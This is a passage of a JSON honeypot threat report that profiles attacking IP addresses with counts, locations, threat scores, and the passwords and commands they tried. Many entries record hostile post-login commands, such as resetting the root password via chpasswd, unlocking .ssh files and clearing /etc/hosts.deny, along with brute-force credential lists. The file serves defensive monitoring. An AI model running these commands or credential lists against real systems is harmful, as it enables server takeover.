      "last_seen": "2026-03-09T17:31:09.637Z",
      "sessions": 98,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "centos",
        "test",
        "ubuntu",
        "guest"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "password",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "123456789",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "passw0rd",
        "password1",
        "qwerty",
        "admin",
        "Admin123",
        "admin123",
        "centos"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 713,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T16:21:34.453000+00:00",
        "last_seen_30d": "2026-03-09T17:32:10.081000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 503,
        "Suricata": 210
      }
    },
    "103.123.53.88": {
      "attack_count": 364,
      "first_seen": "2026-03-02T00:38:13.390Z",
      "last_seen": "2026-03-14T16:24:00.205Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jason",
        "sa",
        "elemental",
        "grid",
        "hari",
        "labs",
        "mm",
        "soporte"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "1qaz2wsx#EDC",
        "Huawei12",
        "Password1",
        "Password@2025",
        "Soporte123!",
        "Ss123456789",
        "Support@2024",
        "Welcome@2025!",
        "digitalocean",
        "elemental1234",
        "grid123!",
        "hari123",
        "labs123!",
        "niggers",
        "qaz123456",
        "root123456A"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345\\n6EOQnwqfAIA5\\n6EOQnwqfAIA5\\n\"|passwd",
        "echo \"Password1\\nqjULmCFDpzaU\\nqjULmCFDpzaU\\n\"|passwd",
        "echo \"root:6c7VTo3HQphn\"|chpasswd|bash",
        "echo \"root:Whzn13wrNnUM\"|chpasswd|bash",
        "echo -e \"12345\\n6EOQnwqfAIA5\\n6EOQnwqfAIA5\"|passwd|bash",
        "echo -e \"Password1\\nqjULmCFDpzaU\\nqjULmCFDpzaU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 140641,
      "as_org": "YOTTA NETWORK SERVICES PRIVATE LIMITED",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.3,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 425,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:38:13.390000+00:00",
        "last_seen_30d": "2026-03-14T16:25:03.870000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 364,
        "Suricata": 61
      }
    },
    "209.38.25.83": {
      "attack_count": 345,
      "first_seen": "2026-03-02T00:00:02.860Z",
      "last_seen": "2026-03-02T00:40:52.359Z",
      "sessions": 69,
      "ports": [],
      "usernames_attempted": [
        "debian",
        "dev",
        "developer",
        "elastic",
        "dspace",
        "docker",
        "elasticsearch"
      ],
      "passwords_attempted": [
        "4321",
        "54321",
        "654321",
        "123qwe",
        "123qwerty",
        "qwerty",
        "wasd",
        "321",
        "P455word",
        "P@$word",
        "Pa55w0rd",
        "Pa55word",
        "debian12",
        "dev",
        "dev1",
        "dev12",
        "dev123",
        "developer",
        "developer1",
        "developer12"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 51.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.1,
        "persistence": 16.7,
        "diversity": 18,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 518,
        "days_active_30d": 20,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T00:00:02.860000+00:00",
        "last_seen_30d": "2026-03-21T13:02:36.244000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 345,
        "Suricata": 165,
        "Honeytrap": 8
      }
    },
    "43.163.113.224": {
      "attack_count": 321,
      "first_seen": "2026-03-14T15:16:06.801Z",
      "last_seen": "2026-03-14T15:35:37.456Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ec2-user",
        "lee",
        "marissa",
        "wpuser",
        "bkp",
        "help",
        "mm",
        "rachel",
        "superman"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123456",
        "12345678",
        "bkp",
        "ec2-user123!",
        "lee1234",
        "mm1234",
        "superman"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nmGXx0QZcVyhy\\nmGXx0QZcVyhy\\n\"|passwd",
        "echo \"123456\\nucdsjktc9e2O\\nucdsjktc9e2O\\n\"|passwd",
        "echo \"ec2-user123!\\nv2LqIQgLIiiC\\nv2LqIQgLIiiC\\n\"|passwd",
        "echo \"lee1234\\nXqDfI2sbigjg\\nXqDfI2sbigjg\\n\"|passwd",
        "echo -e \"12345678\\nmGXx0QZcVyhy\\nmGXx0QZcVyhy\"|passwd|bash",
        "echo -e \"123456\\nucdsjktc9e2O\\nucdsjktc9e2O\"|passwd|bash",
        "echo -e \"ec2-user123!\\nv2LqIQgLIiiC\\nv2LqIQgLIiiC\"|passwd|bash",
        "echo -e \"lee1234\\nXqDfI2sbigjg\\nXqDfI2sbigjg\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 359,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T15:16:06.801000+00:00",
        "last_seen_30d": "2026-03-14T15:36:38.449000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 321,
        "Suricata": 38
      }
    },
    "103.187.146.72": {
      "attack_count": 291,
      "first_seen": "2026-03-07T22:02:46.140Z",
      "last_seen": "2026-03-27T15:56:40.358Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "qbtuser",
        "satisfactory",
        "atlas",
        "fastuser",
        "francisco",
        "ftpupload",
        "in",
        "rico",
        "scan",
        "vas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123",
        "12345",
        "4e2q1w3r",
        "Qaz147852",
        "Xw123456!",
        "atlas123",
        "ems",
        "inpass",
        "p@ssw0rd@ds",
        "plex123",
        "qbtuser123!",
        "rico1234",
        "satisfactorypass",
        "sunbeam",
        "vaspass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"qbtuser123!\\nwdCjCXZxNwy8\\nwdCjCXZxNwy8\\n\"|passwd",
        "echo \"root:jwTsiFYi6HPl\"|chpasswd|bash",
        "echo \"satisfactorypass\\nrCmXihIUY5aF\\nrCmXihIUY5aF\\n\"|passwd",
        "echo -e \"qbtuser123!\\nwdCjCXZxNwy8\\nwdCjCXZxNwy8\"|passwd|bash",
        "echo -e \"satisfactorypass\\nrCmXihIUY5aF\\nrCmXihIUY5aF\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 47.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.4,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 348,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T22:02:46.140000+00:00",
        "last_seen_30d": "2026-03-27T15:57:46.995000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 291,
        "Suricata": 57
      }
    },
    "113.164.66.10": {
      "attack_count": 257,
      "first_seen": "2026-03-17T18:07:59.742Z",
      "last_seen": "2026-03-17T18:29:46.312Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "moon",
        "patrick",
        "ravi",
        "amir",
        "client",
        "cw",
        "cyrus",
        "edu",
        "mcuser",
        "sgp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345678",
        "client123!",
        "cwpass",
        "edupass",
        "moonpass",
        "password",
        "patrick123",
        "sgp1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nwudbCPnh9uUP\\nwudbCPnh9uUP\\n\"|passwd",
        "echo \"moonpass\\niFcjLsNkez5V\\niFcjLsNkez5V\\n\"|passwd",
        "echo \"patrick123\\n7UpvAfCDoYEG\\n7UpvAfCDoYEG\\n\"|passwd",
        "echo -e \"1234\\nwudbCPnh9uUP\\nwudbCPnh9uUP\"|passwd|bash",
        "echo -e \"moonpass\\niFcjLsNkez5V\\niFcjLsNkez5V\"|passwd|bash",
        "echo -e \"patrick123\\n7UpvAfCDoYEG\\n7UpvAfCDoYEG\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T18:07:59.742000+00:00",
        "last_seen_30d": "2026-03-17T18:30:46.964000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 36
      }
    },
    "160.251.197.41": {
      "attack_count": 240,
      "first_seen": "2026-03-11T04:05:50.987Z",
      "last_seen": "2026-03-28T21:04:30.159Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ruby",
        "admin",
        "eu",
        "fuzzer",
        "websphere"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123678",
        "159753as",
        "AAAaaa123",
        "Ak123456",
        "Hf123456!",
        "QWEasdZXC123",
        "Root12345!",
        "chinaidc147",
        "cloud",
        "mima@2026",
        "onkar123",
        "qwe13579",
        "ruby123",
        "supervisor",
        "websphere123",
        "welcome",
        "woainima1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:sSNcllrIRKPP\"|chpasswd|bash",
        "echo \"ruby123\\n6aX58fXfR562\\n6aX58fXfR562\\n\"|passwd",
        "echo -e \"ruby123\\n6aX58fXfR562\\n6aX58fXfR562\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 58791,
      "as_org": "GMO Internet Group, Inc.",
      "threat_score": 46.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.9,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 310,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T04:05:50.987000+00:00",
        "last_seen_30d": "2026-03-28T21:05:30.493000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 240,
        "Suricata": 70
      }
    },
    "103.182.132.154": {
      "attack_count": 238,
      "first_seen": "2026-03-14T16:38:49.400Z",
      "last_seen": "2026-03-21T23:49:09.258Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ceo",
        "root",
        "sammy",
        "ansible",
        "comp",
        "csserver",
        "jellyfin",
        "julian",
        "k8s",
        "localhost",
        "maarch",
        "mysql",
        "odoo12",
        "tanvir",
        "testing",
        "ti",
        "toor",
        "ubuntu",
        "vbox"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "Jay56",
        "Maarch123!",
        "Tanvir123!",
        "Ti123",
        "Ubuntu@2025",
        "ceo",
        "cloud@123",
        "julian123",
        "odoo12",
        "sammy",
        "testing1234",
        "toor",
        "vps2025"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"ceo\\nC1oIpAQVEezG\\nC1oIpAQVEezG\\n\"|passwd",
        "echo \"sammy\\nDXlKx7X6kS6H\\nDXlKx7X6kS6H\\n\"|passwd",
        "echo -e \"ceo\\nC1oIpAQVEezG\\nC1oIpAQVEezG\"|passwd|bash",
        "echo -e \"sammy\\nDXlKx7X6kS6H\\nDXlKx7X6kS6H\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 149526,
      "as_org": "GITELENET PRIVATE LIMITED",
      "threat_score": 30.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T16:38:49.400000+00:00",
        "last_seen_30d": "2026-03-21T23:50:09.581000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 238,
        "Suricata": 56
      }
    },
    "211.46.177.174": {
      "attack_count": 236,
      "first_seen": "2026-03-28T00:51:52.054Z",
      "last_seen": "2026-03-28T02:51:54.898Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345ssdlh",
        "21vianet",
        "@dm1n2025",
        "ABCabc123",
        "Newton1",
        "Pass12345678@",
        "Pass2026!",
        "QWEasd!@#1234",
        "Qwerty2026",
        "Vps@2026",
        "Wb123456",
        "a1b2c3d4",
        "ada",
        "asdf13579",
        "azerty789",
        "cacti2026",
        "oracle8",
        "p@ssw0rd9"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:hOk30JvMAogJ\"|chpasswd|bash",
        "echo \"root:sDpJfgHQ2TMr\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Buyeo-gun",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 304,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T00:51:52.054000+00:00",
        "last_seen_30d": "2026-03-28T02:53:03.715000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 68
      }
    },
    "151.33.51.41": {
      "attack_count": 216,
      "first_seen": "2026-03-28T20:30:49.312Z",
      "last_seen": "2026-03-28T21:34:13.495Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "*&^%4321",
        "12#$qwer",
        "123654qwe",
        "2025@2026",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456bc",
        "Wu123456",
        "Yp.123456",
        "admon",
        "android",
        "fire",
        "gargoyle",
        "humtum",
        "password123$%^",
        "password2",
        "qqqq",
        "samurai",
        "ward",
        "xiaohua"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:BkIk9DvP5RqI\"|chpasswd|bash",
        "echo \"root:JnVBUyGyXcep\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Turin",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 266,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T20:30:49.312000+00:00",
        "last_seen_30d": "2026-03-28T21:35:19.345000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 216,
        "Suricata": 50
      }
    },
    "103.179.44.30": {
      "attack_count": 191,
      "first_seen": "2026-03-03T11:50:58.836Z",
      "last_seen": "2026-03-03T12:22:23.336Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123@@@",
        "33",
        "Bingo@1993",
        "QWEasd123!",
        "Test_1234",
        "Tk123456@",
        "aditya123",
        "admin123#",
        "op",
        "rezareza",
        "rootROOT123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:ELDR7Usnyhc0\"|chpasswd|bash",
        "echo \"root:e0Sh2XpIQ7FW\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 149020,
      "as_org": "WebHorizon Internet Services",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T11:50:58.836000+00:00",
        "last_seen_30d": "2026-03-03T12:23:28.126000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 36
      }
    },
    "177.157.199.8": {
      "attack_count": 191,
      "first_seen": "2026-03-03T13:58:06.333Z",
      "last_seen": "2026-03-03T14:26:16.567Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q2w3e4r5t6y",
        "Bingo@1993",
        "Lj123456",
        "Qwert@123",
        "Woaini1314",
        "Wu123456..",
        "Zk123456@",
        "ollie123",
        "recovery",
        "vps@1234",
        "xy123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
